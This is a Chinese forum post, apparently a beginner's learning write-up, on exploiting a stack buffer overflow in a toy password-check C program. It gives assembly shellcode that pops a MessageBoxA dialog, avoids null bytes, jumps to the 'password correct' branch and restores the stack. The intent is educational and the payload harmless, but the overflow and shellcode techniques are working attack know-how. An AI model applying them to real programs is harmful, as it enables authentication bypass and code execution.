本人菜鸟,最近开始学习漏洞分析,看了几个视频,其中给了一个溢出漏洞的小程序,编写溢出漏洞弹出messagebox对话框,但是运行完对话框程序就崩溃了,本人就想着多写点东西,令程序运行正常。此为原因,想着写篇文章,既帮我理清思路,也方便以后可回顾看看,同时也能给网站比我还菜的鸟一点启发。
[Asm] 纯文本查看 复制代码#include #include #define PASSWORD "1234567"int verify_password(char *password){ int authenticated; char buffer[44]; authenticated = strcmp(password,PASSWORD); strcpy(buffer,password); //溢出就在这里 return authenticated;}void main(){ int valid_flag =0; char password[1024]; FILE *fp; LoadLibrary("user32.dll"); if (!(fp=fopen("password.txt","rw+"))) { exit(0); } fscanf(fp,"%s",password); valid_flag = verify_password(password); if (valid_flag !=0) { printf("incorrect password!\n\n"); } else { printf("Congratulation! You have passed the verification!\n"); } fclose(fp); getchar();}
溢出漏洞在这里:
char buffer[44];
authenticated = strcmp(password,PASSWORD);
strcpy(buffer,password); //溢出就在这里
return authenticated;
通过给函数中变量赋值,使buffer【44】写入44内存,再4个覆盖authenticated变量(检测真假验证码是否一样),再4个覆盖PUSH EBP中的ebp,再4个覆盖返回地址,让返回地址改为buffer【44】的代码开始地址。
buffer【44】就是我们需要弹出对话框的代码,messagebox的四个参数push及调用,视频中只给到这一步,弹出对话框后程序崩溃,弹出对话框的代码也就是在password记事本中存入的东西。
messageboxa计算地址如下:763E0000+0005EA11
[Asm] 纯文本查看 复制代码0040DFA3 33DB xor ebx,ebx ;使ebx为00040DFA5 53 push ebx ;字符串的/0结束标志0040DFA6 68 70707070 push 70707070 ;弹出的字符串0040DFAB 68 71717171 push 71717171 0040DFB0 8BC4 mov eax,esp ;堆栈中的字符串地址0040DFB2 53 push ebx ;对话框的样式,可为空null0040DFB3 50 push eax ;对话框标题,push的字符串0040DFB4 50 push eax ;对话框文本,push的字符串0040DFB5 53 push ebx ;句柄,可为空null0040DFB6 B8 11EA4376 mov eax,7643EA11 ;将messagebox地址给eax;0040DFBB FFD0 call eax ;call调用函数MessageBoxA(HWND hWnd,LPCTSTR lpText,LPCTSTR lpCaption,UINT uType)
返回地址为堆栈返回地址上面的buffer【44】的代码开始地址。
password填写我们的代码十六进制。
可以看到0012FAB4 即为我们的入口地址,将此地址覆盖返回地址。弹出对话框如下:
原因为我们弹出对话框后没有指向main函数中提示密码输入正确的地址,00401133。我们可以在后面的代码加上跳转指令,jmp 00401133,但是代码不能有00这种/0字符,不然strcpy(buffer,password)函数将截取00前字符,后面的字符不会复制过去,以及覆盖返回地址的地方也不会覆盖。00怎么办呢?可以mov eax,(跳转地址), jmp eax,怎么使eax为00401133且不出现00呢。
我想了一种方法:
[Asm] 纯文本查看 复制代码004011B8 8BC3 mov eax,ebx004011BA B4 40 mov ah,40004011BC B3 10 mov bl,10004011BE F7E3 mul ebx004011C0 F7E3 mul ebx004011C2 66:B8 3311 mov ax,1133004011C6 FFE0 jmp eax
将EAX,EBX赋值0,将eax=4000,乘以16即为左移4位,执行两次就行,eax低位ax=1133即可,再跳转,左移指令因为有00连在一起会复制字符串失败。但是加上代码,仍没有跳转到正确地址,原因为我们的代码在esp附近,执行中被覆盖了,我们就将esp-60,以防shellcode被改。但是int verify_password(char *password)函数结尾处有一个函数会改变shellcode
使2C位置开始的4个字节更改,此前代码必须结束,但空间有限,检查前面代码有没有可简化的。
[Asm] 纯文本查看 复制代码004011BC B3 10 mov bl,10004011BE F7E3 mul ebx004011C0 F7E3 mul ebx可改为
[Asm] 纯文本查看 复制代码0012FAD5 B7 01 mov bh,010012FAD7 F7E3 mul ebx
可以看到此时跳转到了注册成功,但程序出错,原因是堆栈未平衡,EBP值被更改(正巧EDI的值与以前ebp相等),堆栈加上值保持和调用函数前一样就行,我们减掉了60H,又3个push,就需要add esp,6C。但是shellcode可写空间不够了,那么就把对话框提示字符串去掉一个PUSH。
[Asm] 纯文本查看 复制代码0012FAE6 8BEF mov ebp,edi ; mov ebp,edi0012FAE8 83C4 6C add esp,6C
最后检验一下成功了,不仅弹出对话框,而且转到正确密码提示,后面程序运行也正常了。截个图::
第一次发文章,图片不知道咋回事在下面出现了,真麻烦,不过最后感觉还好,最后附上.C文件和password文本,不足之处请大家批评指正。Desktop.zip
776 Bytes, 下载次数: 13, 下载积分: 吾爱币 -1 CB
代码和密码文本
来源:http://www.12558.net
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |